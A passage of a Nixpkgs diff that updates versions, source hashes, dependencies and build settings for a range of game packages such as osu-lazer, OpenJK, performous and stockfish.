rustPlatform.buildRustPackage rec { pname = "minesweep-rs"; - version = "6.0.52"; + version = "6.0.54"; src = fetchFromGitHub { owner = "cpcloud"; repo = pname; rev = "v${version}"; - hash = "sha256-XSB0SrZCXnIeZGYAc/MEWe+rM5D36jkM2MJjx64r/bU="; + hash = "sha256-FzMCqsPBcbblItRzfnY43glY4We9jk0eBxjG0SZnau8="; }; - cargoHash = "sha256-zSEJsUKLfjZVZxQBtbUflYv4FXUpFCrAGI+6YUJrNnI="; + cargoHash = "sha256-VjIn4k/OuxsXLJ2LOk43LKHo0PrPyMigNOO2VVYZQYw="; meta = with lib; { description = "Sweep some mines for fun, and probably not for profit"; diff --git a/pkgs/games/nanosaur/default.nix b/pkgs/games/nanosaur/default.nix index 4ec59b726ee3c..37a054d951b44 100644 --- a/pkgs/games/nanosaur/default.nix +++ b/pkgs/games/nanosaur/default.nix @@ -1,14 +1,14 @@ -{ lib, stdenv, fetchFromGitHub, SDL2, cmake, makeWrapper }: +{ lib, stdenv, fetchFromGitHub, SDL2, cmake, makeWrapper, unstableGitUpdater }: stdenv.mkDerivation rec { pname = "nanosaur"; - version = "unstable-2021-12-03"; + version = "1.4.4-unstable-2023-05-21"; src = fetchFromGitHub { owner = "jorio"; repo = pname; - rev = "b567a3e6d7fd1cbc43800cfaa1bd82f31c6d9fae"; - sha256 = "sha256-P/o6uSwUV6O8u8XNXN9YyA8XlgEUkqGj3SC+oD2/GKQ="; + rev = "c9753648996b09a17c8bd526d8309b73fb14c435"; + sha256 = "sha256-0xG/HSUF65eV+fSJ2geDv5VUxTeso9dulrLgE1KNDhc="; fetchSubmodules = true; }; @@ -27,11 +27,13 @@ stdenv.mkDerivation rec { mv Data ReadMe.txt "$out/share/Nanosaur/" install -Dm755 {.,$out/bin}/Nanosaur wrapProgram $out/bin/Nanosaur --chdir "$out/share/Nanosaur" - install -Dm644 $src/packaging/nanosaur.desktop $out/share/applications/nanosaur.desktop - install -Dm644 $src/packaging/nanosaur-desktopicon.png $out/share/pixmaps/nanosaur-desktopicon.png + install -Dm644 $src/packaging/io.jor.nanosaur.desktop $out/share/applications/nanosaur.desktop + install -Dm644 $src/packaging/io.jor.nanosaur.png $out/share/pixmaps/nanosaur-desktopicon.png runHook postInstall ''; + passthru.updateScript = unstableGitUpdater { }; + meta = with lib; { description = "A port of Nanosaur, a 1998 Macintosh game by Pangea Software, for modern operating systems"; longDescription = '' @@ -41,6 +43,7 @@ stdenv.mkDerivation rec { ''; homepage = "https://github.com/jorio/Nanosaur"; license = licenses.cc-by-sa-40; + mainProgram = "Nanosaur"; maintainers = with maintainers; [ lux ]; platforms = platforms.linux; }; diff --git a/pkgs/games/openjk/default.nix b/pkgs/games/openjk/default.nix index 092f442669a69..5ef8aa3e43b41 100644 --- a/pkgs/games/openjk/default.nix +++ b/pkgs/games/openjk/default.nix @@ -1,4 +1,6 @@ -{ lib, stdenv, fetchFromGitHub, makeDesktopItem, makeWrapper, cmake, libjpeg, zlib, libpng, libGL, SDL2 }: +{ lib, stdenv, fetchFromGitHub, makeDesktopItem, makeWrapper, cmake, libjpeg, zlib, libpng, libGL, SDL2 +, unstableGitUpdater +}: let jamp = makeDesktopItem rec { @@ -30,13 +32,13 @@ let }; in stdenv.mkDerivation { pname = "OpenJK"; - version = "unstable-2022-01-30"; + version = "0-unstable-2024-02-20"; src = fetchFromGitHub { owner = "JACoders"; repo = "OpenJK"; - rev = "235fb9e1a9c4537a603b2e54e444327d20d198a3"; - sha256 = "sha256-DqP6wnu5sE7lQJGEdsEPOc6FIaJjqxt5ANKZ5eiabC4="; + rev = "1e8a7998ca2fe434daebb41d586ac3cd5296433a"; + sha256 = "sha256-TKJNaz+oWNYyReFZVefg1frPXyd3Yl96JDklp1qY1to="; }; dontAddPrefix = true; @@ -79,6 +81,8 @@ in stdenv.mkDerivation { rm -rf $out/opt ''; + passthru.updateScript = unstableGitUpdater { }; + meta = with lib; { description = "An open-source engine for Star Wars Jedi Academy game"; homepage = "https://github.com/JACoders/OpenJK"; diff --git a/pkgs/games/openloco/default.nix b/pkgs/games/openloco/default.nix index c884c39dafa22..df5b2ca31862c 100644 --- a/pkgs/games/openloco/default.nix +++ b/pkgs/games/openloco/default.nix @@ -7,19 +7,19 @@ , libzip , openal , pkg-config -, span-lite , yaml-cpp +, fmt }: stdenv.mkDerivation rec { pname = "openloco"; - version = "23.02"; + version = "24.01.1"; src = fetchFromGitHub { owner = "OpenLoco"; repo = "OpenLoco"; rev = "v${version}"; - hash = "sha256-35g7tnKez4tnTdZzavfU+X8f3btFG6EbLkU+cqL6Qek="; + hash = "sha256-QkJmJGObp5irk66SSGTxjydcp3sPaCbxcjcU3XGTVfo="; }; # the upstream build process determines the version tag from git; since we @@ -44,7 +44,7 @@ stdenv.mkDerivation rec { libzip openal yaml-cpp - span-lite + fmt ]; meta = { diff --git a/pkgs/games/openmw/tes3mp.nix b/pkgs/games/openmw/tes3mp.nix index 915c006f91375..318c28aff9220 100644 --- a/pkgs/games/openmw/tes3mp.nix +++ b/pkgs/games/openmw/tes3mp.nix @@ -7,14 +7,13 @@ , luajit , makeWrapper , symlinkJoin -, disable-warnings-if-gcc13 }: # revisions are taken from https://github.com/GrimKriegor/TES3MP-deploy let # raknet could also be split into dev and lib outputs - raknet = disable-warnings-if-gcc13 (stdenv.mkDerivation { + raknet = stdenv.mkDerivation { pname = "raknet"; version = "unstable-2020-01-19"; @@ -46,7 +45,7 @@ let installPhase = '' install -Dm555 lib/libRakNetLibStatic.a $out/lib/libRakNetLibStatic.a ''; - }); + }; coreScripts = stdenv.mkDerivation { pname = "corescripts"; diff --git a/pkgs/games/openttd/jgrpp.nix b/pkgs/games/openttd/jgrpp.nix index 5fbe527425eba..74baeb12387e5 100644 --- a/pkgs/games/openttd/jgrpp.nix +++ b/pkgs/games/openttd/jgrpp.nix @@ -2,13 +2,13 @@ openttd.overrideAttrs (oldAttrs: rec { pname = "openttd-jgrpp"; - version = "0.57.1"; + version = "0.58.1"; src = fetchFromGitHub rec { owner = "JGRennison"; repo = "OpenTTD-patches"; rev = "jgrpp-${version}"; - hash = "sha256-mQy+QdhEXoM9wIWvSkMgRVBXJO1ugXWS3lduccez1PQ="; + hash = "sha256-6R+biPgQyFPJD6Or6Jhm+7RZ7xe/SC6h83XVZkE+gSk="; }; buildInputs = oldAttrs.buildInputs ++ [ zstd ]; diff --git a/pkgs/games/openttd/nml.nix b/pkgs/games/openttd/nml.nix index cf9de289f72e9..8ec8adf5f22b2 100644 --- a/pkgs/games/openttd/nml.nix +++ b/pkgs/games/openttd/nml.nix @@ -6,13 +6,13 @@ python3.pkgs.buildPythonApplication rec { pname = "openttd-nml"; - version = "0.7.4"; + version = "0.7.5"; src = fetchFromGitHub { owner = "OpenTTD"; repo = "nml"; rev = "refs/tags/${version}"; - hash = "sha256-7Q1H8BkLnVWoZU6/mdfgBPsMt9L7oLZK8GOvbw9TpzU="; + hash = "sha256-OobTyPD7FtYMhJL3BDFXaZCOO2iPn8kjEw2OEdqQbr8="; }; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/games/osu-lazer/bin.nix b/pkgs/games/osu-lazer/bin.nix index 43dafeae5f15b..be46a964de883 100644 --- a/pkgs/games/osu-lazer/bin.nix +++ b/pkgs/games/osu-lazer/bin.nix @@ -7,22 +7,22 @@ let pname = "osu-lazer-bin"; - version = "2024.131.0"; + version = "2024.302.1"; src = { aarch64-darwin = fetchzip { url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Apple.Silicon.zip"; - hash = "sha256-R25TAXU3gUcVKQMo8P+0/vTRzSoFrUdFz11inpch+7A="; + hash = "sha256-fhjmYAgszAF0uNk94fDj1g4oi8PiHY5lgPc5SdF9L8I="; stripRoot = false; }; x86_64-darwin = fetchzip { url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Intel.zip"; - hash = "sha256-w7BK3pm0XrlzOv0oz+ZUfVRufzUCCfevlRL+RDLtoLU="; + hash = "sha256-divrIWeBWjKvWxb+BANnsrUcSP2QlicFgPFpH+H2dpA="; stripRoot = false; }; x86_64-linux = fetchurl { url = "https://github.com/ppy/osu/releases/download/${version}/osu.AppImage"; - hash = "sha256-aNG6s942iTKyvM1XolMqmMs8XxoRYC/ZddCCJl0OtTE="; + hash = "sha256-vYG3viY9GBtgaY8ThCSWss+zzjAyVa4fmrWrQdYcUow="; }; }.${stdenv.system} or (throw "${pname}-${version}: ${stdenv.system} is unsupported."); diff --git a/pkgs/games/osu-lazer/default.nix b/pkgs/games/osu-lazer/default.nix index cb1a11c330b6b..60e372a768ecb 100644 --- a/pkgs/games/osu-lazer/default.nix +++ b/pkgs/games/osu-lazer/default.nix @@ -2,6 +2,7 @@ , stdenvNoCC , buildDotnetModule , fetchFromGitHub +, dotnetCorePackages , makeDesktopItem , copyDesktopItems , ffmpeg @@ -16,18 +17,21 @@ buildDotnetModule rec { pname = "osu-lazer"; - version = "2024.131.0"; + version = "2024.302.1"; src = fetchFromGitHub { owner = "ppy"; repo = "osu"; rev = version; - hash = "sha256-fsXs/AzvEQ141y/DPRvg7a7b0K30IfjigbRj0qh88rs="; + hash = "sha256-4+ACEWYgXvr8eoRJZHmTq74Bh159V+p2K+Pn1IPi2l4="; }; projectFile = "osu.Desktop/osu.Desktop.csproj"; nugetDeps = ./deps.nix; + dotnet-sdk = dotnetCorePackages.sdk_8_0; + dotnet-runtime = dotnetCorePackages.runtime_8_0; + nativeBuildInputs = [ copyDesktopItems ]; runtimeDeps = [ diff --git a/pkgs/games/osu-lazer/deps.nix b/pkgs/games/osu-lazer/deps.nix index 669463431970d..56cd9d37db82f 100644 --- a/pkgs/games/osu-lazer/deps.nix +++ b/pkgs/games/osu-lazer/deps.nix @@ -62,7 +62,7 @@ (fetchNuGet { pname = "Humanizer.Core.zh-Hans"; version = "2.14.1"; sha256 = "0zn99311zfn602phxyskfjq9vly0w5712z6fly8r4q0h94qa8c85"; }) (fetchNuGet { pname = "Humanizer.Core.zh-Hant"; version = "2.14.1"; sha256 = "0qxjnbdj645l5sd6y3100yyrq1jy5misswg6xcch06x8jv7zaw1p"; }) (fetchNuGet { pname = "JetBrains.Annotations"; version = "2022.3.1"; sha256 = "0lkhyyz25q82ygnxy26lwy5cl8fvkdc13pcn433xpjj8akzbmgd6"; }) - (fetchNuGet { pname = "JetBrains.ReSharper.GlobalTools"; version = "2022.2.3"; sha256 = "0ck4nkk8wlj2gcgs7j4j6z4yqrnf2f5rs2pgwa8kar026sc29xsl"; }) + (fetchNuGet { pname = "JetBrains.ReSharper.GlobalTools"; version = "2023.3.3"; sha256 = "1cq7lj88r0nwypr157nd99g3wzk00wjinx84vasbga77kfcf4z9n"; }) (fetchNuGet { pname = "managed-midi"; version = "1.10.0"; sha256 = "1rih8iq8k4j6n3206d2j7z4vygp725kzs95c6yc7p1mlhfiiimvq"; }) (fetchNuGet { pname = "Markdig"; version = "0.23.0"; sha256 = "1bwn885w7balwncmr764vidyyp9bixqlq6r3lhsapj8ykrpxxa70"; }) (fetchNuGet { pname = "MessagePack"; version = "2.5.140"; sha256 = "04iqlvcacbb37yf83xryd24n14dw780xx8dmc1zywi3x2nrqpjm9"; }) @@ -125,7 +125,7 @@ (fetchNuGet { pname = "NuGet.Protocol"; version = "5.11.0"; sha256 = "041pva6ykc5h6az7bb87mkg32c95cvxlixgspnd34zbdldr4ypdb"; }) (fetchNuGet { pname = "NuGet.Versioning"; version = "5.11.0"; sha256 = "041351n1rbyqpfxqyxbvjgfrcbbawymbq96givz5pvdbabvyf5vq"; }) (fetchNuGet { pname = "NUnit"; version = "3.14.0"; sha256 = "19p8911lrfds1k9rv47jk1bbn665s0pvghkd06gzbg78j6mzzqqa"; }) - (fetchNuGet { pname = "NVika"; version = "2.2.0"; sha256 = "1lxv5m5nf4hfwfdhcscrl8m0hhjkqxxn555wxwb95x0d5w2czx6x"; }) + (fetchNuGet { pname = "NVika"; version = "3.0.0"; sha256 = "1v0n9li6lgfb2w4kbgxrs89h6k4s0zkcp73lch20w5c89dlkq26f"; }) (fetchNuGet { pname = "OpenTabletDriver"; version = "0.6.4"; sha256 = "14wc2rgnbi2ili6sx9iqnmcbn1zlmbsk49zbiz5cycib6rxkqfdm"; }) (fetchNuGet { pname = "OpenTabletDriver.Configurations"; version = "0.6.4"; sha256 = "0l7vf607i54y1xilr7bmjy9zlxacm00wz42mfbvzjf9rr54sy2pm"; }) (fetchNuGet { pname = "OpenTabletDriver.Native"; version = "0.6.4"; sha256 = "1jsw2kwxxskwppk65i52yrxjjgbfbhicpmz30iaxlm68d5m6gwz2"; }) @@ -137,15 +137,15 @@ (fetchNuGet { pname = "ppy.ManagedBass.Fx"; version = "2022.1216.0"; sha256 = "1vw573mkligpx9qiqasw1683cqaa1kgnxhlnbdcj9c4320b1pwjm"; }) (fetchNuGet { pname = "ppy.ManagedBass.Mix"; version = "2022.1216.0"; sha256 = "185bpvgbnd8y20r7vxb1an4pd1aal9b7b5wvmv3knz0qg8j0chd9"; }) (fetchNuGet { pname = "ppy.ManagedBass.Wasapi"; version = "2022.1216.0"; sha256 = "0h2ncf59sza8whvrwwqi8b6fcrkqrnfgfhd0vnhyw0s98nj74f0z"; }) - (fetchNuGet { pname = "ppy.osu.Framework"; version = "2024.131.0"; sha256 = "0pa80w67nnfp3y25l5a6f6p9x48lj8bw3b24vzi3l8ndgcmnpyxz"; }) + (fetchNuGet { pname = "ppy.osu.Framework"; version = "2024.223.0"; sha256 = "0k97jd4kac3vzsyvgn7imx17lad8ibbrhfx1q8vglqy6w5mriqlw"; }) (fetchNuGet { pname = "ppy.osu.Framework.NativeLibs"; version = "2023.1225.0-nativelibs"; sha256 = "008kj91i9486ff2q7fcgb8mmpinskvnmfsqza2m5vafh295y3h7m"; }) (fetchNuGet { pname = "ppy.osu.Framework.SourceGeneration"; version = "2023.720.0"; sha256 = "001vvxyv483ibid25fdknvij77x0y983mp4psx2lbg3x2al7yxax"; }) - (fetchNuGet { pname = "ppy.osu.Game.Resources"; version = "2024.129.0"; sha256 = "032jpqv86z4sc835063gzbshkdzx3qhnzxlyaggidmbwn6i9fja6"; }) + (fetchNuGet { pname = "ppy.osu.Game.Resources"; version = "2024.207.0"; sha256 = "0960jg0a860f545phscimv5qw6bzijpc4pyplx126zcm1w1cpmfi"; }) (fetchNuGet { pname = "ppy.osuTK.NS20"; version = "1.0.211"; sha256 = "0j4a9n39pqm0cgdcps47p5n2mqph3h94r7hmf0bs59imif4jxvjy"; }) (fetchNuGet { pname = "ppy.SDL2-CS"; version = "1.0.693-alpha"; sha256 = "15fgd3j9cs3adldiscqm0ffixf68h06wqdz1xy1286z4gczhi954"; }) - (fetchNuGet { pname = "ppy.Veldrid"; version = "4.9.3-g91ce5a6cda"; sha256 = "0m96jkagz1ab3jgmz61d4z7jrxz058nzsamvqz93c90rlw802cvm"; }) - (fetchNuGet { pname = "ppy.Veldrid.MetalBindings"; version = "4.9.3-g91ce5a6cda"; sha256 = "14qcrvhpvj3w9nr8fcki0j53qxc8bfgflivr989salh0srnlv764"; }) - (fetchNuGet { pname = "ppy.Veldrid.OpenGLBindings"; version = "4.9.3-g91ce5a6cda"; sha256 = "1gdwk7s9sdvzrqr2rs9j87nvyl7b47b7m6kkhk1mpz6ryq403nsx"; }) + (fetchNuGet { pname = "ppy.Veldrid"; version = "4.9.5-gc8dfc5ca19"; sha256 = "0w0mimfwdgbywmvq2yv04p65wgi1plhlk1ya012yyxp13vvhfgi8"; }) + (fetchNuGet { pname = "ppy.Veldrid.MetalBindings"; version = "4.9.5-gc8dfc5ca19"; sha256 = "0i6bb79kprrmsfphjq26rgxqfvvf12pxr7dfwcq448dw2xgq6rpy"; }) + (fetchNuGet { pname = "ppy.Veldrid.OpenGLBindings"; version = "4.9.5-gc8dfc5ca19"; sha256 = "06a4kkfidr7yj60xl3k4yfawz4wzwkkjpaki8fmsanif1yhz69l8"; }) (fetchNuGet { pname = "ppy.Veldrid.SPIRV"; version = "1.0.15-gca6cec7843"; sha256 = "09pi4c91ljavilw9kx7kzhcax7ar4zk7zy1qwvqfrqsgxznvyxa1"; }) (fetchNuGet { pname = "Realm"; version = "11.5.0"; sha256 = "0r7j5si3n4ncq8xnnjk1q5jjqbj0s1w3ps124y8pgqd14dzvch6a"; }) (fetchNuGet { pname = "Realm.PlatformHelpers"; version = "11.5.0"; sha256 = "1ggbmlsf04pxnh1k86hs0wxnvcw0ja2xnn6358qmrp826km0w1g9"; }) @@ -307,8 +307,6 @@ (fetchNuGet { pname = "System.Text.Encoding"; version = "4.3.0"; sha256 = "1f04lkir4iladpp51sdgmis9dj4y8v08cka0mbmsy0frc9a4gjqr"; }) (fetchNuGet { pname = "System.Text.Encoding.CodePages"; version = "5.0.0"; sha256 = "1bn2pzaaq4wx9ixirr8151vm5hynn3lmrljcgjx9yghmm4k677k0"; }) (fetchNuGet { pname = "System.Text.Encoding.Extensions"; version = "4.3.0"; sha256 = "11q1y8hh5hrp5a3kw25cb6l00v5l5dvirkz8jr3sq00h1xgcgrxy"; }) - (fetchNuGet { pname = "System.Text.Encodings.Web"; version = "7.0.0"; sha256 = "1151hbyrcf8kyg1jz8k9awpbic98lwz9x129rg7zk1wrs6vjlpxl"; }) - (fetchNuGet { pname = "System.Text.Json"; version = "7.0.4"; sha256 = "1khcg2r7i29rpbg4mqxncs6r88s9hbbjzxpj29d13zvd31wypyv9"; }) (fetchNuGet { pname = "System.Text.RegularExpressions"; version = "4.3.0"; sha256 = "1bgq51k7fwld0njylfn7qc5fmwrk2137gdq7djqdsw347paa9c2l"; }) (fetchNuGet { pname = "System.Threading"; version = "4.0.11"; sha256 = "19x946h926bzvbsgj28csn46gak2crv2skpwsx80hbgazmkgb1ls"; }) (fetchNuGet { pname = "System.Threading"; version = "4.3.0"; sha256 = "0rw9wfamvhayp5zh3j7p1yfmx9b5khbf4q50d8k5rk993rskfd34"; }) diff --git a/pkgs/games/osu-lazer/osu.runtimeconfig.json b/pkgs/games/osu-lazer/osu.runtimeconfig.json index 4148c494fbc73..170449ccbc027 100644 --- a/pkgs/games/osu-lazer/osu.runtimeconfig.json +++ b/pkgs/games/osu-lazer/osu.runtimeconfig.json @@ -1,9 +1,9 @@ { "runtimeOptions": { - "tfm": "net6.0", + "tfm": "net8.0", "framework": { "name": "Microsoft.NETCore.App", - "version": "6.0.0" + "version": "8.0.0" } } } diff --git a/pkgs/games/papermc/default.nix b/pkgs/games/papermc/default.nix index 20861779185ce..aa16e51a7ac8c 100644 --- a/pkgs/games/papermc/default.nix +++ b/pkgs/games/papermc/default.nix @@ -7,7 +7,7 @@ }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "papermc"; - version = "1.20.2.234"; + version = "1.20.4.435"; src = let @@ -16,7 +16,7 @@ stdenvNoCC.mkDerivation (finalAttrs: { in fetchurl { url = "https://papermc.io/api/v2/projects/paper/versions/${mcVersion}/builds/${buildNum}/downloads/paper-${mcVersion}-${buildNum}.jar"; - hash = "sha256-fR7Dq09iFGVXodQjrS7Hg4NcrKPJbNg0hexU520JC6c="; + hash = "sha256-NrIsYLoAAWORw/S26NDFjYBVwpNITJxuWGZow3696wM="; }; installPhase = '' diff --git a/pkgs/games/performous/default.nix b/pkgs/games/performous/default.nix index c82e1d02afc75..1305d8409f97f 100644 --- a/pkgs/games/performous/default.nix +++ b/pkgs/games/performous/default.nix @@ -23,13 +23,13 @@ stdenv.mkDerivation rec { pname = "performous"; - version = "1.3.0"; + version = "1.3.1"; src = fetchFromGitHub { owner = "performous"; repo = "performous"; rev = "refs/tags/${version}"; - hash = "sha256-y7kxLht15vULN9NxM0wzj9+7Uq4/3D5j9oBEnrTIwQ8="; + hash = "sha256-f70IHA8LqIlkMRwJqSmszx3keStSx50nKcEWLGEjc3g="; }; cedSrc = fetchFromGitHub { diff --git a/pkgs/games/performous/performous-cmake.patch b/pkgs/games/performous/performous-cmake.patch index dae399cd54de6..6f56959792cd1 100644 --- a/pkgs/games/performous/performous-cmake.patch +++ b/pkgs/games/performous/performous-cmake.patch @@ -1,17 +1,18 @@ diff --git a/cmake/Modules/FindCed.cmake b/cmake/Modules/FindCed.cmake -index d6e2aca..3085adb 100644 +index 5794bc84..08d6b49d 100644 --- a/cmake/Modules/FindCed.cmake +++ b/cmake/Modules/FindCed.cmake -@@ -1,11 +1 @@ --include(LibFetchMacros) -- --set(Ced_GIT_VERSION "master") -- --libfetch_git_pkg(Ced -- REPOSITORY ${SELF_BUILT_GIT_BASE}/compact_enc_det.git -- #https://github.com/google/compact_enc_det.git -- REFERENCE ${Ced_GIT_VERSION} -- FIND_PATH compact_enc_det/compact_enc_det.h --) --message(STATUS "Found Google CED ${Ced_VERSION}") -+add_subdirectory(../ced-src ced-src) +@@ -22,12 +22,7 @@ elseif(SELF_BUILT_CED STREQUAL "AUTO") + pkg_check_modules(CED IMPORTED_TARGET GLOBAL CED) + if(NOT CED_FOUND) + message(STATUS "ced build from source because not found on system") +- libfetch_git_pkg(Ced +- REPOSITORY ${SELF_BUILT_GIT_BASE}/compact_enc_det.git +- #https://github.com/google/compact_enc_det.git +- REFERENCE ${Ced_GIT_VERSION} +- FIND_PATH compact_enc_det/compact_enc_det.h +- ) ++ add_subdirectory(../ced-src ced-src) + else() + add_library(ced ALIAS PkgConfig::CED) + set(Ced_VERSION ${CED_VERSION}) diff --git a/pkgs/games/pioneer/default.nix b/pkgs/games/pioneer/default.nix index b70ef8c3dab69..878101a917fc0 100644 --- a/pkgs/games/pioneer/default.nix +++ b/pkgs/games/pioneer/default.nix @@ -20,13 +20,13 @@ stdenv.mkDerivation rec { pname = "pioneer"; - version = "20220203"; + version = "20240203"; src = fetchFromGitHub{ owner = "pioneerspacesim"; repo = "pioneer"; rev = version; - hash = "sha256-HNVg8Lq6k6gQDmgOdpnBwJ57WSEnn5XwtqzmkDU1WGI="; + hash = "sha256-Jqv013VM0177VqGYR7vSvdq+67ONM91RrjcdVXNLcHs="; }; postPatch = '' diff --git a/pkgs/games/powermanga/default.nix b/pkgs/games/powermanga/default.nix index 25a1df5211a31..5f82eaebb8eb2 100644 --- a/pkgs/games/powermanga/default.nix +++ b/pkgs/games/powermanga/default.nix @@ -8,12 +8,12 @@ , libpng }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "powermanga"; version = "0.93.1"; src = fetchurl { - url = "https://linux.tlk.fr/games/Powermanga/download/powermanga-${version}.tgz"; + url = "https://linux.tlk.fr/games/Powermanga/download/powermanga-${finalAttrs.version}.tgz"; sha256 = "sha256-2nU/zoOQWm2z/Y6mXHDFfWYjYshsQp1saVRBcUT5Q+g="; }; @@ -56,4 +56,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/games/prismlauncher/default.nix b/pkgs/games/prismlauncher/default.nix index c6378fbc368f9..c4571ceaa71bd 100644 --- a/pkgs/games/prismlauncher/default.nix +++ b/pkgs/games/prismlauncher/default.nix @@ -31,13 +31,13 @@ assert lib.assertMsg (stdenv.isLinux || !gamemodeSupport) "gamemodeSupport is on stdenv.mkDerivation (finalAttrs: { pname = "prismlauncher-unwrapped"; - version = "8.0"; + version = "8.2"; src = fetchFromGitHub { owner = "PrismLauncher"; repo = "PrismLauncher"; rev = finalAttrs.version; - hash = "sha256-WBajtfj3qAMq8zd2S53CQyHiyqtvffLOHOjmOpdALAA="; + hash = "sha256-4VsoxZzi/EfEsnDvvwzg2xhj7j5B+k3gvaSqwJFDweE="; }; nativeBuildInputs = [ extra-cmake-modules cmake jdk17 ninja canonicalize-jars-hook ]; diff --git a/pkgs/games/r2modman/default.nix b/pkgs/games/r2modman/default.nix index 30648d67ae67b..27cb156a1fe60 100644 --- a/pkgs/games/r2modman/default.nix +++ b/pkgs/games/r2modman/default.nix @@ -14,18 +14,18 @@ stdenv.mkDerivation (finalAttrs: { pname = "r2modman"; - version = "3.1.46"; + version = "3.1.47"; src = fetchFromGitHub { owner = "ebkr"; repo = "r2modmanPlus"; rev = "v${finalAttrs.version}"; - hash = "sha256-Oo23U3hwkhhLRiOIikIZcnoBFmkRWMK8UECyDRohBj0="; + hash = "sha256-refFd/d4y8657FltEvogQVAEl48c5gtrwpuGa8vluqE="; }; offlineCache = fetchYarnDeps { yarnLock = "${finalAttrs.src}/yarn.lock"; - hash = "sha256-CXitb/b2tvTfrkFrFv4KP4WdmMg+1sDtC/s2u5ezDfI="; + hash = "sha256-1JXd1pDGEFDG+ogXbEpl4WMYXwksJJJBx20ZPykc7OM="; }; patches = [ diff --git a/pkgs/games/rocksndiamonds/default.nix b/pkgs/games/rocksndiamonds/default.nix index 67d798f8d4a6e..feef993207ea6 100644 --- a/pkgs/games/rocksndiamonds/default.nix +++ b/pkgs/games/rocksndiamonds/default.nix @@ -12,11 +12,11 @@ stdenv.mkDerivation rec { pname = "rocksndiamonds"; - version = "4.3.8.1"; + version = "4.3.8.2"; src = fetchurl { url = "https://www.artsoft.org/RELEASES/linux/${pname}/${pname}-${version}-linux.tar.gz"; - hash = "sha256-kc8E9hyXSr8UdwDA5I4/iP6NfpV/Lso5Q//E/cV02UA="; + hash = "sha256-e/aYjjnEM6MP14FGX+N92U9fRNEjIaDfE1znl6A+4As="; }; desktopItem = makeDesktopItem { diff --git a/pkgs/games/runelite/default.nix b/pkgs/games/runelite/default.nix index 02c41307101f6..f6d205d473bc7 100644 --- a/pkgs/games/runelite/default.nix +++ b/pkgs/games/runelite/default.nix @@ -11,13 +11,13 @@ maven.buildMavenPackage rec { pname = "runelite"; - version = "2.6.12"; + version = "2.6.13"; src = fetchFromGitHub { owner = "runelite"; repo = "launcher"; rev = version; - hash = "sha256-lovDkEvzclZCBu/Ha8h0j595NZ4ejefEOX7lNmzb8I8="; + hash = "sha256-KE0UMtm1rypyV5FIxxiJeoP/IeSEzpzqfUyQ9UnxA0o="; }; mvnHash = "sha256-bsJlsIXIIVzZyVgEF/SN+GgpZt6v0u800arO1c5QYHk="; diff --git a/pkgs/games/sgt-puzzles/default.nix b/pkgs/games/sgt-puzzles/default.nix index 7361d2281113a..bd56416c59182 100644 --- a/pkgs/games/sgt-puzzles/default.nix +++ b/pkgs/games/sgt-puzzles/default.nix @@ -6,11 +6,11 @@ stdenv.mkDerivation rec { pname = "sgt-puzzles"; - version = "20240103.7a93ae5"; + version = "20240302.80aac31"; src = fetchurl { url = "http://www.chiark.greenend.org.uk/~sgtatham/puzzles/puzzles-${version}.tar.gz"; - hash = "sha256-1pTruSF+Kl1wqTFIaYYHrvbD9p+k+1PGa5PpV4jvgEk="; + hash = "sha256-0+bmGq4wM+0/ldQz8ieKdkuG0HHazctQr9ul/qLT0gg="; }; sgt-puzzles-menu = fetchurl { diff --git a/pkgs/games/shattered-pixel-dungeon/summoning-pixel-dungeon.nix b/pkgs/games/shattered-pixel-dungeon/summoning-pixel-dungeon.nix index 488110684c096..5e7ed1b817e0c 100644 --- a/pkgs/games/shattered-pixel-dungeon/summoning-pixel-dungeon.nix +++ b/pkgs/games/shattered-pixel-dungeon/summoning-pixel-dungeon.nix @@ -18,7 +18,7 @@ callPackage ./generic.nix rec { patches = [(substitute { src = ./disable-git-version.patch; - replacements = [ "--subst-var-by" "version" version ]; + substitutions = [ "--subst-var-by" "version" version ]; })]; depsHash = "sha256-0P/BcjNnbDN25DguRcCyzPuUG7bouxEx1ySodIbSwvg="; diff --git a/pkgs/games/starsector/default.nix b/pkgs/games/starsector/default.nix index c924d024a9992..535039c79f2fa 100644 --- a/pkgs/games/starsector/default.nix +++ b/pkgs/games/starsector/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "starsector"; - version = "0.97a-RC9"; + version = "0.97a-RC11"; src = fetchzip { url = "https://f005.backblazeb2.com/file/fractalsoftworks/release/starsector_linux-${version}.zip"; - sha256 = "sha256-xX4QVr7vmVX+/qvKALYZOE/Wy+d+zpNWCnpQE1kBd7M="; + sha256 = "sha256-KT4n0kBocaljD6dTbpr6xcwy6rBBZTFjov9m+jizDW4="; }; nativeBuildInputs = [ copyDesktopItems makeWrapper ]; diff --git a/pkgs/games/stockfish/default.nix b/pkgs/games/stockfish/default.nix index bd42da9c70285..21e3151b5844e 100644 --- a/pkgs/games/stockfish/default.nix +++ b/pkgs/games/stockfish/default.nix @@ -4,7 +4,7 @@ let # The x86-64-modern may need to be refined further in the future # but stdenv.hostPlatform CPU flags do not currently work on Darwin # https://discourse.nixos.org/t/darwin-system-and-stdenv-hostplatform-features/9745 - archDarwin = if stdenv.isx86_64 then "x86-64-modern" else "x86-64"; + archDarwin = if stdenv.isx86_64 then "x86-64-modern" else "apple-silicon"; arch = if stdenv.isDarwin then archDarwin else if stdenv.isx86_64 then "x86-64" else if stdenv.isi686 then "x86-32" else @@ -55,7 +55,7 @@ stdenv.mkDerivation rec { much stronger than the best human chess grandmasters. ''; maintainers = with maintainers; [ luispedro siraben ]; - platforms = ["x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux"]; + platforms = ["x86_64-linux" "i686-linux" "x86_64-darwin" "aarch64-linux" "aarch64-darwin"]; license = licenses.gpl3Only; }; diff --git a/pkgs/games/stone-kingdoms/default.nix b/pkgs/games/stone-kingdoms/default.nix index e49db727b9e89..3680f3af1275c 100644 --- a/pkgs/games/stone-kingdoms/default.nix +++ b/pkgs/games/stone-kingdoms/default.nix @@ -11,13 +11,13 @@ stdenvNoCC.mkDerivation rec { pname = "stone-kingdoms"; - version = "0.5.0"; + version = "0.6.1"; src = fetchFromGitLab { owner = "stone-kingdoms"; repo = pname; rev = version; - hash = "sha256-FQrg/1/nfFC/irCWSLbnb9GYSUv//ovvcjzvIg94oEI="; + 